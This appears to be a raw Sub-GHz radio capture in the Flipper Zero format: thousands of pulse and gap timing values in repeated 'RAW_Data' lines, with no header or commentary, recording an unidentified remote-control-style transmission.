125 -360 327 -122 141 -342 137 -332 353 -140 335 -126 349 -94 369 -128 93 -368 129 -334 123 -3714 135 -354 107 -368 93 -394 329 -132 331 -122 361 -104 359 -144 333 -94 139 -342 353 -140 343 -100 363 -124 107 -376 97 -360 125 -358 327 -122 143 -342 135 -334 353 -140 335 -126 349 -94 369 -128 93 -368 129 -364 91 -3744 101 -356 141 -332 127 -350 351 -140 303 -156 313 -126 371 -128 337 -130 93 -370 365 -106 337 -128 355 -126 89 -376 101 -370 125 -354 351 -138 105 -364 103 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3746 99 -356 107 -368 93 -384 351 -104 367 -94 377 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3740 95 -372 93 -380 93 -382 355 -104 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 361 -106 335 -124 107 -376 97 -362 123 -360 327 -124 123 -358 139 -336 371 -106 339 -130 355 -94 369 -128 91 -368 131 -364 91 -3750 101 -356 107 -368 125 -350 349 -104 339 -124 375 -96 369 -128 339 -128 93 -368 365 -108 337 -130 355 -94 121 -374 139 -332 127 -354 351 -140 105 -364 103 -370 343 -108 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3720 135 -354 105 -370 93 -394 329 -134 331 -122 337 -128 369 -96 371 -96 125 -372 329 -140 337 -126 353 -94 121 -374 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3750 101 -356 -RAW_Data: 105 -370 125 -350 349 -140 333 -94 375 -94 371 -128 337 -130 93 -368 365 -106 339 -130 355 -126 89 -376 137 -334 125 -354 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -366 91 -3720 133 -354 107 -368 125 -352 349 -140 301 -126 345 -126 369 -130 337 -128 95 -368 365 -106 337 -130 355 -124 91 -374 103 -368 127 -354 353 -138 105 -362 105 -368 343 -142 303 -130 359 -124 339 -128 91 -370 131 -364 93 -3718 135 -354 105 -370 93 -394 331 -132 331 -122 361 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 107 -374 97 -362 125 -360 325 -124 141 -342 135 -334 355 -140 335 -126 351 -94 369 -128 91 -368 131 -332 123 -3718 133 -354 107 -368 125 -364 329 -134 331 -122 337 -128 369 -96 371 -96 125 -370 363 -108 337 -128 351 -94 121 -376 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3718 135 -354 107 -368 125 -364 331 -132 331 -124 359 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 353 -140 335 -126 351 -94 369 -128 91 -368 131 -332 123 -3742 99 -392 105 -336 125 -354 351 -140 333 -126 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 353 -126 89 -376 101 -370 125 -356 351 -140 105 -362 103 -370 345 -106 337 -132 357 -124 339 -128 91 -370 131 -364 91 -3752 101 -356 107 -368 93 -396 329 -134 329 -124 337 -126 371 -96 369 -96 127 -370 363 -106 337 -128 353 -124 91 -374 139 -332 127 -354 351 -138 107 -362 105 -368 345 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3750 99 -356 143 -332 127 -352 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 365 -106 337 -130 357 -124 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 343 -142 301 -132 359 -126 337 -128 91 -370 131 -364 93 -3752 99 -356 107 -368 93 -396 329 -134 331 -122 361 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 107 -376 97 -360 125 -360 327 -122 141 -342 137 -334 353 -140 337 -126 349 -94 369 -128 91 -368 131 -334 121 -3742 101 -392 105 -334 127 -354 349 -140 335 -126 313 -126 371 -128 339 -128 93 -370 365 -106 337 -130 355 -124 91 -376 101 -370 125 -356 351 -140 105 -362 103 -370 343 -140 303 -132 359 -126 337 -128 93 -368 131 -364 93 -3744 95 -372 95 -368 139 -336 367 -108 337 -130 357 -92 369 -128 -RAW_Data: 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 353 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3750 101 -356 141 -334 125 -352 351 -140 333 -94 377 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3752 101 -356 107 -368 125 -352 349 -140 303 -124 345 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 91 -376 101 -368 127 -354 353 -138 105 -364 103 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3744 99 -392 105 -334 127 -356 349 -140 333 -124 347 -94 369 -128 337 -130 93 -366 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -140 107 -362 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 127 -352 351 -140 303 -156 313 -128 369 -128 339 -128 93 -370 365 -106 337 -130 355 -126 89 -376 101 -370 125 -356 351 -138 107 -362 103 -368 345 -140 303 -132 359 -126 337 -128 91 -370 131 -364 93 -3752 101 -356 105 -370 93 -394 331 -134 329 -124 337 -126 371 -96 369 -98 125 -370 363 -108 337 -128 351 -94 121 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -364 93 -3748 101 -356 141 -336 125 -366 331 -134 331 -122 337 -128 371 -96 369 -96 127 -370 363 -108 335 -128 353 -92 121 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -370 131 -364 93 -3742 101 -392 105 -334 127 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -370 365 -108 337 -130 355 -126 89 -374 103 -368 127 -354 353 -138 105 -362 105 -370 343 -106 339 -132 357 -124 339 -128 91 -370 131 -364 91 -3746 97 -370 95 -368 139 -336 369 -106 339 -130 353 -124 339 -128 337 -130 93 -368 369 -106 339 -130 359 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 345 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3744 101 -392 103 -336 127 -354 351 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 125 -356 351 -140 105 -362 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3746 95 -372 93 -368 139 -336 369 -106 339 -130 353 -126 337 -128 337 -130 93 -368 369 -106 339 -130 359 -124 89 -376 -RAW_Data: 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3752 99 -356 143 -332 127 -352 351 -140 301 -158 313 -126 369 -130 337 -128 93 -368 367 -106 337 -130 355 -126 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 343 -140 303 -132 359 -126 337 -128 93 -368 131 -364 93 -3752 101 -356 105 -370 93 -396 331 -132 331 -124 335 -128 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -376 137 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3752 99 -356 141 -334 125 -354 351 -138 335 -94 377 -94 369 -130 337 -128 93 -368 365 -108 339 -128 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3750 101 -354 143 -334 125 -354 351 -138 303 -156 315 -126 369 -130 337 -128 95 -368 367 -106 337 -130 355 -124 91 -374 103 -368 127 -356 351 -138 107 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 131 -366 93 -3748 99 -356 143 -334 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 125 -358 349 -140 105 -364 103 -370 343 -108 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3750 99 -394 105 -334 125 -354 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3748 101 -356 141 -334 125 -354 349 -140 333 -92 379 -94 369 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 139 -334 125 -356 351 -140 105 -364 103 -370 343 -108 339 -130 359 -124 337 -128 93 -366 131 -366 91 -3742 97 -372 95 -378 123 -352 355 -140 317 -142 333 -124 359 -104 357 -144 105 -362 317 -140 359 -106 335 -126 143 -340 99 -366 123 -390 293 -156 93 -400 105 -334 369 -106 339 -130 357 -124 337 -130 91 -368 133 -364 93 -3750 101 -356 105 -370 93 -384 351 -104 367 -92 377 -94 369 -130 337 -128 95 -368 365 -108 339 -128 357 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 345 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3750 101 -392 105 -334 127 -352 351 -140 303 -156 313 -126 371 -128 337 -130 93 -368 367 -106 337 -130 355 -126 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 -RAW_Data: 303 -132 359 -124 337 -128 93 -368 131 -366 93 -3744 99 -392 105 -336 125 -356 351 -138 333 -94 377 -94 369 -130 337 -128 95 -368 365 -108 337 -130 355 -124 91 -376 137 -334 127 -356 351 -138 107 -362 105 -370 343 -106 339 -132 357 -126 337 -128 91 -368 131 -366 91 -3750 101 -356 141 -336 125 -352 351 -140 303 -156 315 -126 369 -128 339 -128 93 -370 365 -108 337 -128 355 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -370 343 -142 303 -130 359 -124 337 -130 91 -370 131 -364 93 -3754 99 -344 125 -358 137 -334 369 -92 347 -134 335 -124 371 -96 369 -128 93 -366 345 -126 361 -104 337 -124 123 -360 125 -344 133 -366 325 -140 105 -346 129 -370 347 -124 339 -128 337 -130 337 -126 127 -348 125 -372 95 -3736 95 -364 139 -334 125 -354 349 -140 335 -124 317 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 125 -356 353 -138 105 -362 105 -370 343 -142 301 -132 359 -126 337 -128 91 -370 131 -366 93 -3748 99 -356 143 -334 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 369 -106 339 -130 355 -124 91 -374 139 -334 125 -356 351 -140 105 -364 103 -372 343 -108 337 -132 357 -124 337 -128 91 -368 131 -366 91 -3742 97 -372 125 -346 125 -352 355 -140 317 -142 333 -124 361 -104 357 -144 105 -362 317 -140 357 -108 335 -124 143 -342 99 -366 123 -356 327 -154 93 -400 105 -336 369 -106 337 -130 357 -124 339 -128 91 -370 131 -364 93 -3748 101 -356 141 -336 125 -354 349 -140 331 -94 377 -94 369 -130 337 -128 95 -366 369 -106 337 -130 357 -124 89 -376 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -364 93 -3742 101 -392 105 -334 129 -356 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 127 -354 353 -138 105 -362 105 -370 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3744 99 -392 105 -334 127 -358 349 -140 333 -92 379 -94 369 -128 339 -128 95 -366 367 -108 337 -130 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 339 -128 91 -368 133 -364 91 -3740 97 -372 125 -346 123 -354 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 317 -140 359 -106 337 -124 143 -342 99 -364 125 -390 293 -154 93 -400 105 -334 369 -106 337 -130 359 -124 337 -128 93 -368 131 -366 93 -3746 -RAW_Data: 95 -372 93 -380 93 -382 353 -106 351 -140 333 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -122 145 -342 97 -364 123 -360 327 -124 123 -360 139 -334 371 -108 337 -130 355 -124 339 -128 91 -368 133 -364 91 -3740 97 -372 127 -346 123 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 351 -104 359 -108 335 -124 143 -340 99 -366 123 -390 323 -124 95 -402 105 -334 369 -106 339 -130 357 -124 337 -130 91 -370 131 -364 91 -3746 99 -392 105 -334 127 -356 349 -140 333 -126 345 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -130 91 -368 131 -364 93 -3744 101 -392 105 -334 127 -356 351 -140 335 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -376 137 -334 125 -356 351 -140 105 -362 105 -370 345 -106 339 -132 357 -124 339 -128 91 -368 131 -364 93 -3752 99 -356 143 -334 125 -352 351 -140 303 -156 313 -126 371 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -368 127 -356 351 -140 105 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3746 99 -392 105 -334 127 -356 351 -140 331 -94 379 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -376 137 -334 125 -356 351 -138 107 -362 105 -368 347 -106 371 -98 359 -124 337 -128 93 -368 131 -364 91 -3744 101 -390 105 -336 127 -358 351 -138 335 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 127 -356 351 -138 105 -362 105 -370 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3740 97 -372 95 -378 123 -354 353 -106 351 -142 333 -124 361 -104 357 -108 141 -364 351 -106 361 -106 335 -124 145 -340 99 -364 123 -360 327 -122 123 -362 139 -334 371 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3744 101 -392 105 -334 127 -358 349 -140 335 -126 315 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -370 343 -142 303 -130 359 -126 337 -128 93 -368 131 -366 91 -3748 101 -392 105 -334 127 -354 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 369 -106 337 -130 357 -124 89 -378 137 -334 125 -354 353 -138 107 -362 105 -370 345 -106 339 -130 359 -124 337 -130 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -372 333 -132 331 -124 359 -106 -RAW_Data: 357 -144 333 -94 139 -376 355 -106 343 -102 361 -124 109 -374 97 -362 125 -360 327 -122 141 -344 135 -334 353 -140 335 -128 351 -94 369 -128 91 -368 131 -364 91 -3746 101 -392 105 -334 127 -354 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 365 -108 335 -130 357 -124 91 -376 101 -370 125 -356 351 -140 105 -362 105 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3750 101 -356 141 -334 125 -354 349 -140 333 -92 377 -94 369 -130 337 -128 95 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 359 -124 337 -128 91 -370 131 -364 93 -3742 101 -392 105 -334 127 -358 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -368 127 -356 353 -138 105 -364 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3752 99 -356 141 -334 125 -354 351 -138 333 -92 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 125 -356 353 -140 105 -362 105 -370 343 -106 371 -100 357 -124 339 -128 91 -368 131 -366 91 -3740 97 -372 127 -344 141 -338 351 -142 341 -100 361 -126 359 -104 357 -108 105 -396 319 -140 357 -106 335 -124 109 -376 99 -362 123 -358 327 -158 103 -376 103 -366 327 -140 335 -128 351 -126 359 -104 103 -382 103 -396 69 -3742 99 -392 103 -354 105 -370 327 -140 337 -128 351 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 99 -362 123 -360 327 -122 123 -360 139 -336 371 -106 337 -130 357 -124 359 -104 103 -388 103 -362 103 -3736 99 -392 103 -356 105 -370 361 -108 337 -128 353 -124 339 -128 337 -130 93 -368 367 -106 339 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 103 -370 345 -140 305 -132 359 -124 339 -128 91 -370 131 -364 93 -3748 101 -392 105 -334 127 -354 351 -138 333 -92 379 -94 369 -128 337 -130 93 -368 367 -108 337 -130 357 -124 89 -376 139 -332 127 -356 351 -138 107 -362 105 -370 347 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3740 97 -372 127 -344 125 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -340 99 -366 123 -388 325 -124 95 -404 103 -334 371 -106 337 -130 355 -126 359 -104 103 -384 103 -394 69 -3748 99 -358 137 -352 107 -366 327 -142 337 -126 353 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 -RAW_Data: 109 -376 97 -364 123 -360 327 -122 141 -342 137 -334 353 -140 337 -126 351 -94 369 -128 93 -368 131 -364 91 -3742 99 -392 105 -334 129 -356 351 -140 333 -126 317 -156 339 -128 339 -128 95 -368 365 -106 339 -130 355 -124 91 -376 101 -370 125 -358 351 -140 105 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3752 101 -356 105 -370 125 -366 331 -132 331 -124 359 -104 359 -144 335 -94 125 -362 355 -140 355 -106 335 -124 145 -340 97 -362 125 -360 327 -122 123 -362 139 -334 371 -106 339 -128 357 -124 337 -130 91 -368 131 -366 91 -3744 101 -392 105 -334 127 -358 351 -138 335 -126 315 -126 369 -130 337 -128 95 -368 365 -106 337 -130 357 -126 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3742 95 -372 127 -346 123 -354 353 -106 387 -106 335 -122 361 -104 357 -108 143 -362 353 -104 361 -106 335 -126 143 -342 97 -364 123 -358 327 -124 123 -364 139 -336 369 -108 337 -130 355 -124 339 -128 91 -368 133 -364 91 -3742 95 -372 127 -344 141 -338 353 -142 339 -100 361 -126 359 -104 357 -108 105 -398 317 -140 357 -106 335 -124 109 -376 99 -364 123 -358 327 -124 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -396 67 -3744 99 -392 103 -354 105 -370 327 -140 337 -128 351 -94 391 -104 357 -108 105 -398 319 -142 357 -106 335 -122 109 -376 97 -362 123 -358 357 -92 125 -364 139 -336 369 -108 337 -130 355 -124 339 -128 91 -368 131 -364 93 -3740 97 -372 127 -344 125 -354 355 -106 389 -106 335 -122 361 -104 357 -108 143 -362 353 -104 361 -106 335 -124 145 -340 99 -364 123 -360 327 -122 125 -360 139 -336 371 -106 337 -130 355 -126 337 -128 93 -366 131 -366 91 -3744 99 -392 105 -336 127 -358 349 -140 335 -126 347 -94 369 -128 337 -130 93 -368 367 -106 339 -132 355 -126 89 -376 137 -334 125 -356 351 -140 105 -364 105 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -364 93 -3742 97 -372 125 -346 123 -356 353 -140 319 -142 333 -124 359 -104 359 -142 105 -362 353 -104 359 -106 335 -126 141 -342 99 -366 125 -388 323 -126 93 -402 105 -334 371 -106 337 -130 357 -124 359 -104 103 -384 103 -396 69 -3738 99 -392 103 -358 105 -370 361 -108 337 -128 351 -124 339 -128 337 -128 95 -366 369 -106 339 -132 357 -124 91 -376 137 -334 125 -356 351 -140 105 -364 105 -370 -RAW_Data: 343 -108 339 -130 357 -126 337 -128 91 -370 131 -364 91 -3750 101 -392 105 -334 127 -354 349 -140 335 -124 317 -156 339 -128 339 -128 93 -368 367 -106 337 -130 357 -124 89 -378 101 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3752 99 -356 141 -334 125 -354 351 -138 333 -94 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 127 -356 351 -140 105 -362 105 -372 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3748 99 -392 105 -334 127 -356 349 -140 335 -126 315 -158 337 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 353 -138 105 -362 105 -370 343 -142 301 -132 359 -126 337 -128 91 -370 131 -366 93 -3744 101 -392 105 -334 127 -356 349 -140 333 -126 345 -94 369 -128 339 -128 95 -366 369 -106 339 -130 357 -124 91 -376 137 -334 125 -356 351 -138 107 -362 103 -370 347 -106 373 -98 359 -124 337 -128 93 -368 131 -364 93 -3748 101 -392 105 -334 125 -356 349 -140 333 -126 317 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -364 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3750 99 -392 105 -334 127 -368 333 -134 329 -122 361 -104 359 -144 335 -92 125 -364 355 -140 355 -106 335 -124 143 -340 99 -362 123 -372 319 -134 139 -362 105 -336 373 -106 339 -128 357 -124 337 -128 91 -368 133 -366 91 -3742 97 -372 127 -346 123 -354 355 -140 317 -142 333 -124 359 -106 357 -144 105 -362 351 -104 359 -108 335 -124 143 -340 101 -366 123 -388 325 -124 95 -400 105 -334 371 -106 337 -132 357 -124 337 -130 91 -368 131 -366 93 -3750 101 -356 143 -334 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 139 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 359 -124 337 -128 91 -368 131 -366 91 -3750 99 -392 105 -336 125 -356 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 89 -378 101 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3742 99 -392 105 -336 127 -358 351 -140 333 -124 347 -94 369 -128 337 -130 93 -366 369 -106 339 -130 357 -124 91 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 339 -130 357 -126 337 -128 91 -370 131 -364 -RAW_Data: 91 -3742 97 -372 127 -344 141 -338 351 -142 341 -100 361 -124 361 -102 359 -106 107 -396 317 -140 357 -108 335 -124 107 -376 99 -364 123 -390 293 -156 93 -400 105 -334 369 -106 339 -130 357 -126 337 -128 93 -368 131 -366 91 -3752 101 -356 105 -370 125 -366 331 -134 331 -122 337 -128 369 -96 371 -96 125 -370 365 -106 337 -130 353 -124 91 -374 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3750 99 -392 105 -336 127 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 305 -132 359 -124 339 -128 91 -370 131 -366 91 -3740 97 -372 127 -344 125 -354 353 -140 353 -106 335 -122 361 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -364 123 -358 327 -124 123 -364 139 -334 371 -108 337 -130 355 -124 337 -128 93 -368 131 -366 93 -3742 95 -372 127 -344 141 -338 353 -142 339 -100 361 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 145 -340 97 -364 125 -358 329 -122 139 -344 137 -334 355 -140 335 -126 353 -94 367 -130 91 -368 131 -364 93 -3740 95 -372 127 -346 125 -352 355 -104 353 -142 335 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -362 125 -356 329 -122 125 -362 139 -336 371 -106 337 -130 355 -126 337 -128 91 -370 131 -364 91 -3746 99 -392 105 -336 127 -358 349 -140 333 -126 317 -158 337 -130 337 -128 95 -368 367 -106 337 -130 357 -124 91 -376 101 -368 127 -356 351 -140 105 -362 105 -368 345 -140 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3748 101 -392 105 -334 127 -354 353 -138 333 -94 377 -94 369 -128 339 -128 95 -366 369 -106 337 -130 357 -124 91 -376 137 -334 125 -356 351 -140 107 -362 103 -370 345 -108 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3740 97 -372 127 -344 125 -354 355 -106 353 -142 335 -124 359 -104 359 -106 143 -362 353 -106 359 -108 335 -124 145 -340 97 -364 123 -360 327 -124 123 -360 141 -334 371 -106 339 -130 355 -124 337 -130 91 -368 131 -366 91 -3742 101 -390 105 -336 129 -358 351 -138 335 -126 317 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 361 -124 337 -128 91 -370 131 -366 93 -3742 101 -392 103 -336 127 -358 351 -140 333 -126 -RAW_Data: 345 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 139 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 359 -124 337 -128 91 -368 133 -366 91 -3740 97 -372 127 -346 123 -354 355 -140 319 -142 333 -124 359 -104 359 -142 105 -362 317 -140 359 -106 337 -124 143 -340 99 -366 123 -390 323 -124 95 -402 105 -336 369 -106 337 -130 357 -126 337 -128 93 -368 131 -366 91 -3752 101 -356 141 -334 125 -352 351 -140 333 -92 379 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 139 -334 127 -356 351 -140 105 -362 105 -370 345 -108 337 -132 357 -124 337 -128 91 -370 131 -364 93 -3738 97 -372 127 -342 125 -358 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 351 -106 359 -106 337 -124 143 -340 101 -366 123 -388 325 -124 95 -400 105 -334 371 -106 337 -130 357 -126 337 -128 93 -368 131 -366 93 -3746 99 -392 105 -336 127 -356 349 -140 333 -124 347 -94 367 -130 337 -128 95 -366 369 -106 339 -130 359 -124 89 -376 139 -332 127 -356 351 -138 107 -362 105 -368 347 -106 339 -132 357 -124 339 -128 91 -368 131 -364 93 -3748 99 -392 105 -336 127 -356 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 353 -138 105 -362 103 -370 345 -140 303 -132 361 -124 339 -128 91 -370 131 -366 91 -3746 97 -372 93 -380 93 -382 353 -104 351 -142 335 -122 361 -104 357 -108 143 -362 351 -106 361 -106 335 -124 145 -342 99 -364 123 -356 359 -92 123 -364 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3744 99 -392 105 -336 127 -360 349 -140 333 -126 317 -158 337 -128 339 -128 95 -368 367 -106 337 -130 355 -126 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 345 -140 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3748 99 -392 105 -336 125 -356 351 -140 333 -92 379 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 139 -334 125 -356 351 -140 105 -364 103 -370 345 -106 371 -100 359 -122 339 -128 91 -368 133 -366 91 -3748 99 -392 105 -336 127 -356 349 -140 333 -126 317 -158 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -376 103 -368 125 -358 351 -140 105 -362 105 -368 345 -140 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3748 101 -392 105 -334 127 -356 351 -138 333 -94 377 -94 369 -130 337 -130 93 -368 367 -106 339 -130 -RAW_Data: 355 -126 89 -376 137 -334 125 -356 351 -140 107 -362 103 -370 345 -108 339 -130 359 -124 337 -130 91 -368 131 -366 93 -3740 97 -372 125 -346 123 -356 355 -104 391 -106 333 -124 361 -104 357 -108 141 -364 351 -106 359 -108 335 -124 145 -340 99 -364 123 -356 359 -92 123 -364 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3742 97 -372 127 -344 141 -338 353 -142 339 -100 361 -124 359 -104 359 -106 105 -398 315 -140 359 -108 335 -124 109 -378 97 -364 125 -356 329 -122 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -396 69 -3750 97 -360 135 -352 105 -368 327 -140 337 -128 351 -126 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 145 -340 97 -362 123 -358 357 -92 139 -378 103 -336 357 -140 335 -128 351 -94 391 -104 103 -384 103 -360 105 -3738 97 -372 97 -372 129 -338 347 -124 339 -126 371 -128 339 -128 337 -126 95 -390 315 -134 335 -124 343 -126 123 -372 101 -368 93 -386 353 -138 105 -362 105 -370 343 -142 301 -132 361 -124 337 -128 91 -370 131 -366 91 -3754 101 -356 141 -334 125 -366 331 -134 331 -122 339 -126 371 -96 369 -96 127 -368 365 -106 339 -128 355 -92 121 -376 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 357 -124 337 -128 93 -368 131 -366 91 -3752 99 -392 105 -334 127 -370 331 -134 331 -122 337 -128 369 -96 371 -96 125 -370 363 -108 337 -128 355 -124 89 -376 137 -334 127 -354 353 -138 107 -362 105 -370 343 -106 371 -98 359 -124 337 -128 93 -368 131 -366 93 -3748 101 -392 105 -334 127 -370 331 -134 331 -124 337 -126 371 -96 369 -98 125 -370 363 -108 337 -128 353 -124 91 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 373 -98 359 -124 337 -128 93 -368 131 -364 91 -3754 99 -344 125 -362 141 -336 367 -92 347 -134 335 -124 343 -126 369 -130 91 -368 343 -126 359 -104 337 -124 125 -394 105 -334 127 -372 331 -134 103 -394 71 -370 367 -106 337 -130 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 127 -344 123 -356 355 -140 353 -106 335 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -364 123 -358 327 -122 125 -362 141 -334 371 -106 339 -130 355 